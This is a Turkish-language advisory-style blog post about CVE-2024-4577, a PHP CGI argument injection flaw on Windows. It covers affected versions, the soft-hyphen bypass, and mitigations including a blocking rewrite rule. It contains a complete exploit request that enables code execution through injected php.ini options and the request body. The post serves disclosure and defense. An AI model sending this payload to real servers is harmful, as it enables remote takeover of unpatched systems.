CVE-2024-4577 | PHP CGI Argument Injection

CVE-2024-4577 | PHP CGI Argument Injection

Giriş

CVE-2024-4577, PHP’nin CGI modunda ortaya çıkan kritik bir uzaktan kod yürütme (RCE) zafiyetidir. Bu güvenlik açığı, saldırganların özel olarak hazırlanmış URL istekleri (payload) kullanılarak sunucuda rastgele komutlar çalıştırmasına olanak tanır. PHP’nin web uygulamalarının geniş kullanımı göz önüne alındığında, bu zafiyet ciddi bir risk teşkil etmektedir.

Etki Alanı

Bu zafiyet, Windows işletim sistemlerinde CGI modunda kullanılan tüm PHP sürümlerini etkiler. Belirli etkilenen sürümler şunlardır:

  • PHP 8.3 < 8.3.8
  • PHP 8.2 < 8.2.20
  • PHP 8.1 < 8.1.29

Daha eski PHP sürümleri (8.0, 7 ve 5) de etkilenir, ancak bu sürümler artık desteklenmediği için, kullanıcılar desteklenen bir sürüme yükseltilene kadar geçici yama önerilerine uymalıdır.

Teknik Detaylar

Zafiyetin kökeni, PHP’nin Windows üzerinde belirli Unicode karakterlerini nasıl işlediğinde yatmaktadır. Saldırganlar URL parametrelerinde “yumuşak tire” (soft hypen) karakterini (0xAD) kullanarak koruma mekanizmalarını atlatabilir. Bu karakter, CGI tarafından kaçış karakterine dönüştürülmez ancak PHP tarafından normal bir tire olarak yorumlanır, bu da saldırganların ek komut satırı argümanları enjekte etmesine olanak tanır.

Saldırı Örneği

Bir saldırgan, aşağıdaki gibi kötü niyetli bir istek göndererek bu zafiyeti kullanabilir:

POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: savunmasiz-sunucu
Content-Type: application/x-www-form-urlencoded
Content-Length: 23

<?php
phpinfo();
?>

Bu request, PHP yorumlayıcısının body’sinde yer alan kodu çalıştırmasına neden olur ve potansiyel olarak sistemin ele geçirilmesine olanak sağlar.

Zafiyetin Sonuçları

CVE-2024-4577’nin başarılı bir şekilde kullanılması şunlara yol açabilir:

  • Tam sistem ele geçirilmesi
  • Yetkisiz rastgele kod yürütülmesi
  • Potansiyel veri hırsızlığı veya imhası

Azaltma Önlemleri

1. PHP’yi Güncelleyin: Birincil öneri, PHP’yi en son sürümlere yükseltmektir:

  • PHP 8.3.8
  • PHP 8.2.20
  • PHP 8.1.29

2. Geçici Önlemler: Hemen güncelleme yapılamayan sistemler için geçici önlemler şunları içerir:

a. Rewrite Kuralları: Kötü niyetli istekleri engellemek için yeniden yazma kurallarını (rewrite rules) uygulayın. Bu, kısa vadeli bir çözümdür ve PHP’yi güncellemenin yerini almamalıdır.

RewriteEngine On
RewriteCond %{QUERY_STRING} ^%ad [NC]
RewriteRule .? - [F,L]

b. CGI Yürütmesini Devre Dışı Bırakın: XAMPP veya benzeri ortamlar kullanıyorsanız, Apache konfigürasyonunda ScriptAlias komutunun başına “#” işareti koyup, yorum satırı haline getirerek CGI yürütmesini devre dışı bırakın.

# ScriptAlias /php-cgi/ "C:/xampp/php/"

c. Konfigürasyon Değişiklikleri: Saldırı yüzeyini azaltmak için daha güvenli mimarilere (Mod-PHP, FastCGI veya PHP-FPM) geçiş yapma olasılığını değerlendirin.

Sonuç

CVE-2024-4577,  PHP web uygulamaları için istismar edilmesi kolay, kritik bir güvenlik açığıdır. Zafiyeti ortadan kaldırmak için savunmasız PHP sürümlerinin hemen güncellenmesi ve geçici önlemlerin uygulanması gerekmektedir.

CVE-2024-4577 Nuclei Template:

Çoklu taramalar için geliştirdiğim Nuclei Template’ini kullanabilirsiniz.

https://github.com/huseyinstif/CVE-2024-4577-Nuclei-Template

Kaynaklar:

https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/

https://www.tenable.com/cve/CVE-2024-4577